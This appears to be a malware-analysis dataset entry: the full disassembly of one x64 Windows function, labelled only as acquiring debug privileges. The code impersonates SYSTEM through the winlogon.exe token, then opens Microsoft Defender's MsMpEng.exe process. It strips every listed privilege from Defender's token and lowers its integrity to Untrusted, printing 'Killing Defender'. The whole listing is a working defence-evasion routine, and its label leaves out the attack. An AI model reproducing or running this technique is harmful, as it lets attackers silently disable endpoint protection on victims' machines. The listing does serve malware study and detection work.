Function at 0x1400013d0
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x1e0
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
call fcn.1400010e0
mov eax, 0x77
mov word [rsp + 0x90], ax
mov eax, 0x69
mov word [rsp + 0x92], ax
mov eax, 0x6e
mov word [rsp + 0x94], ax
mov eax, 0x6c
mov word [rsp + 0x96], ax
mov eax, 0x6f
mov word [rsp + 0x98], ax
mov eax, 0x67
mov word [rsp + 0x9a], ax
mov eax, 0x6f
mov word [rsp + 0x9c], ax
mov eax, 0x6e
mov word [rsp + 0x9e], ax
mov eax, 0x2e
mov word [rsp + 0xa0], ax
mov eax, 0x65
mov word [rsp + 0xa2], ax
mov eax, 0x78
mov word [rsp + 0xa4], ax
mov eax, 0x65
mov word [rsp + 0xa6], ax
xor eax, eax
mov word [rsp + 0xa8], ax
lea rax, [rsp + 0xaa]
mov rdi, rax
xor eax, eax
mov ecx, 0x86
rep stosb byte [rdi], al
lea rcx, [rsp + 0x90]
call fcn.1400011c0
mov dword [rsp + 0x38], eax
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
lea rcx, str.phandle_1_is__d_n
call fcn.140001060
lea r8, [rsp + 0x48]
mov edx, 0x2000e
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x14000151d
lea rcx, str.___Impersonated_System__n
call fcn.140001060
jmp 0x140001529
lea rcx, str.____Failed_to_impersonate_System..._n
call fcn.140001060
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x4d
mov word [rsp + 0x130], ax
mov eax, 0x73
mov word [rsp + 0x132], ax
mov eax, 0x4d
mov word [rsp + 0x134], ax
mov eax, 0x70
mov word [rsp + 0x136], ax
mov eax, 0x45
mov word [rsp + 0x138], ax
mov eax, 0x6e
mov word [rsp + 0x13a], ax
mov eax, 0x67
mov word [rsp + 0x13c], ax
mov eax, 0x2e
mov word [rsp + 0x13e], ax
mov eax, 0x65
mov word [rsp + 0x140], ax
mov eax, 0x78
mov word [rsp + 0x142], ax
mov eax, 0x65
mov word [rsp + 0x144], ax
xor eax, eax
mov word [rsp + 0x146], ax
lea rax, [rsp + 0x148]
mov rdi, rax
xor eax, eax
mov ecx, 0x88
rep stosb byte [rdi], al
lea rcx, [rsp + 0x130]
call fcn.1400011c0
mov dword [rsp + 0x38], eax
lea rcx, str.___Killing_Defender..._n
call fcn.140001060
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
je 0x14000163e
cmp qword [rsp + 0x30], 0
je 0x14000163e
lea rcx, str.___Opened_Target_Handle_n
call fcn.140001060
jmp 0x140001652
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_open_Process_Handle._error:__d_n
call fcn.140001060
mov rdx, qword [rsp + 0x30]
lea rcx, str.phandle_2_is__d_n
call fcn.140001060
lea r8, [rsp + 0x48]
mov edx, 0xf01ff
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0
je 0x140001691
lea rcx, str.___Opened_Target_Token_Handle_n
call fcn.140001060
jmp 0x1400016a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_open_Target_Token_Handle._error:__d_n
call fcn.140001060
lea r8, [rsp + 0x70]
lea rdx, [0x14001f890]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rsp + 0x78], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rsp + 0x70]
mov qword [rsp + rax + 0x7c], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x84], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x78]
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001731
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_Adjust_Tokens_Privileges._error:__d_n
call fcn.140001060
xor eax, eax
jmp 0x14000194f
mov r8d, 1
lea rdx, str.SeDebugPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeChangeNotifyPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeTcbPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeImpersonatePrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeLoadDriverPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeRestorePrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeBackupPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeSecurityPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeSystemEnvironmentPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeIncreaseQuotaPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeTakeOwnershipPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeIncreaseBasePriorityPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeShutdownPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
mov r8d, 1
lea rdx, str.SeAssignPrimaryTokenPrivilege
mov rcx, qword [rsp + 0x48]
call fcn.1400012b0
lea rcx, str.___Removed_All_Privileges_n
call fcn.140001060
mov dword [rsp + 0x40], 0
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov byte [rsp + 0x60], 1
mov byte [rsp + 0x61], 1
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x62], 0x10
mov eax, 4
imul rax, rax, 0
mov ecx, dword [rsp + 0x40]
mov dword [rsp + rax + 0x68], ecx
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov dword [rsp + 0x58], 0x20
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov eax, eax
add rax, 0x10
mov r9d, eax
lea r8, [rsp + 0x50]
mov edx, 0x19
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
jne 0x140001927
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.SetTokenInformation_failed._error:___d_n
call fcn.140001060
jmp 0x140001933
lea rcx, str.___Token_Integrity_set_to_Untrusted_n
call fcn.140001060
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000194d
xor eax, eax
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140001980
add rsp, 0x1e0
pop rdi
ret